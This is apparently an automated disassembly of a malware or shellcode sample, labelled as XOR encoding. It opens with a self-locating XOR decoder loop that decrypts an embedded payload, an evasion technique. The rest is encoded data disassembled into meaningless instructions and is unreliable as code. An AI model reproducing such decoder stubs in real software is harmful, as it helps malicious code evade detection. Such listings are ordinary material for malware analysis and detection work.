Function at 0xf743b0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf743ba
pushal
call 0xf743c0
pop ebp
sub ebp, 0x10
sub ebp, 0xb743b0
jmp 0xf743d6
mov eax, 0xb743b0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a7
mov edx, 0x6fc513ac
xor byte [eax], dl
inc eax
dec ecx
jne 0xf743ed
jmp 0xf74400
daa
popal
daa
and eax, 0xacacac90
sub eax, 0xacac546d
lodsb al, byte [esi]
scasd eax, dword es:[edi]
popal
adc al, 0xaa
lodsb al, byte [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
push ss
test byte [esp + ebp*4 - 0x50b1a454], ch
daa
sub eax, 0xacacaca0
scasd eax, dword es:[edi]
imul edi, esp, 0xa3b8c4fc
mov gs, word [esp + eax*8 - 0x53c667d0]
lodsd eax, dword [esi]
or byte [eax + 0x4d08bdc4], 3
inc esp
test eax, 0x45acacac
lcall 0x88c8, 0x21acacac
push eax
and eax, 0xc0218880
mov byte [edi - 0x53535bd7], ch
lodsb al, byte [esi]
daa
cmp dword [eax + 0x27acacac], esp
and dword [esp + ebp*4 + 0x456dacac], edi
scasb al, byte es:[edi]
popfd
scasb al, byte es:[edi]
das
outsb dx, byte [esi]
test al, 0xe5
mov dword [0x53535829], eax
push ebx
daa
or byte [eax - 0x577737df], 0x6e
mov al, byte [0x882027ac]
test al, 0xac
lodsb al, byte [esi]
lodsb al, byte [esi]
les edi, [eax - 0x3b53715d]
xor byte [eax - 0x7f5253c7], bl
mov ch, bh
inc esp
test eax, 0x45acacac
xchg edi, eax
scasb al, byte es:[edi]
lodsb al, byte [esi]
lodsb al, byte [esi]
stc
and eax, eax
mov byte [ebx + edx*2 - 0x26ac5f27], ch
movsb byte es:[edi], byte [esi]
inc esp
shr byte [esp + ebp*4 - 0x5beed854], 0xac
lodsb al, byte [esi]
lodsb al, byte [esi]
lahf
lahf
jle 0xf744e3
inc esp
test eax, 0xe228a3e4
lodsb al, byte [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
mov dword [0xacace424], eax
lodsb al, byte [esi]
retf 0xb027
sub byte [ecx - 0x12535354], bh
lodsb al, byte [esi]
in eax, dx
inc ebp
pushal
push ebx
push ebx
push ebx
test eax, esp
xchg ebp, eax
lodsd eax, dword [esi]
das
insd dword es:[edi], dx
test eax, 0x45a8442f
inc esp
test al, 0x45
adc dword [ebx + 0x53], edx
push ebx
test eax, edi
xchg ebp, eax
scasb al, byte es:[edi]
das
insd dword es:[edi], dx
stosb byte es:[edi], al
das
inc esi
test al, 0x2f
inc esp
test eax, 0x53530745
push ebx
daa
or byte [eax - 0x577737df], 0x6e
mov al, byte [0x4027f9ac]
cli
sti
stc
daa
fldenv [eax + 0x50a4d127]
push ds
sub al, 0x26
stosb byte es:[edi], al
sub eax, 0xacacad6a
lodsb al, byte [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
and al, 0xab
sub eax, 0xacacad6b
lodsb al, byte [esi]
pop ss
scasb al, byte es:[edi]
lodsb al, byte [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
scasb al, byte es:[edi]
jle 0xf744df
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xa37ebeea
lodsb al, byte [esi]
mov edx, 0xa37ebeea
das
je 0xf7459d
push ebx
push ebx
scasb al, byte es:[edi]
jle 0xf744f2
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xa37ebeea
das
invalid
scasb al, byte es:[edi]
jle 0xf74529
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xbf7ebeea
insb byte es:[edi], dx
scasb al, byte es:[edi]
jle 0xf74538
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xbf7ebeea
insb byte es:[edi], dx
scasb al, byte es:[edi]
mov esi, 0xae6cbf7e
jle 0xf74547
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xbf7ebeea
lodsb al, byte [esi]
mov edx, 0xbf7ebeea
insb byte es:[edi], dx
mov dword [0xacacaa28], eax
lodsb al, byte [esi]
daa
jae 0xf74540
je 0xf745e1
scasd eax, dword es:[edi]
and al, 0xab
jmp 0xf745d7
mov edx, 0xbf7ebeea
insb byte es:[edi], dx
scasb al, byte es:[edi]
jle 0xf74583
sub dword [ecx + 0x26acacac], ebp
test eax, 0x26acacac
mov edx, 0xa37ebeea
jb 0xf74641
push ebx
push ebx
xchg dword [edi + 0x17], ebp
lodsd eax, dword [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
mov dword [0xacac9829], eax
lodsb al, byte [esi]
adc eax, 0xacacacad
scasb al, byte es:[edi]
jle 0xf745a8
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xbf7ebeea
scasb al, byte es:[edi]
jle 0xf745b7
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xa37ebeea
jb 0xf74675
push ebx
push ebx
cli
daa
pop ebx
xchg dword [ecx + 0x5f], ebx
or dl, dh
inc ebp
movsb byte es:[edi], byte [esi]
push ebx
push ebx
push ebx
in al, 0x6d
dec esp
movsb byte es:[edi], byte [esi]
stosb byte es:[edi], al
ljmp 0xacac
mov dword [0xacaca929], eax
lodsb al, byte [esi]
mov edx, 0xbf7ebeea
scasb al, byte es:[edi]
jle 0xf745f4
sub dword [ecx + 0x26acacac], ebp
mov edx, 0xa37ebeea
jb 0xf746b2
push ebx
push ebx
sub eax, 0xacd1ac54
lodsb al, byte [esi]
sub eax, 0x53535375
push ebx
sub eax, 0xaca9ac54
lodsb al, byte [esi]
sub eax, 0x53535375
push ebx
push ebx
push ebx
push ebx
sub eax, 0xacac2c54
lodsb al, byte [esi]
sub eax, 0xacacac7d
lodsb al, byte [esi]
sub eax, 0xacac2c54
lodsb al, byte [esi]
sub eax, 0xacacac7d
lodsb al, byte [esi]
cli
daa
pop ebx
xchg dword [edi + ebx*2 + 8], ebx
inc ebp
aaa
push edx
push ebx
push ebx
stosb byte es:[edi], al
ljmp 0xa3ad
daa
inc esp
cli
daa
pop ebx
xchg dword [edi + ebx*2 + 8], ebx
pop ss
lodsd eax, dword [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
lodsb al, byte [esi]
inc ebp
fist word [edx + 0x53]
push ebx
int1
xchg ecx, edx
movsb byte es:[edi], byte [esi]
daa
imul esi, ebx, 0xfffffff2
daa
dec ecx
int1
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
lodsb al, byte [esi]
inc ebp
test al, 0xac
lodsb al, byte [esi]
lodsb al, byte [esi]
mov bl, 0x36
and edx, dword [esi + 0x1bef1c14]
lodsb al, byte [esi]
scasd eax, dword es:[edi]
imul ebp, dword [0xacaff96c], 0xae3215ac
lodsb al, byte [esi]
lodsb al, byte [esi]
push ss
mov dword [0xbc9cd26f], edi
in al, dx
in eax, 0xa3
sub dword [edx + 0x53], ebx
push ebx
push ebx
inc ebp
test al, 0xac
lodsb al, byte [esi]
lodsb al, byte [esi]
sub dword [ebx], ecx
iretd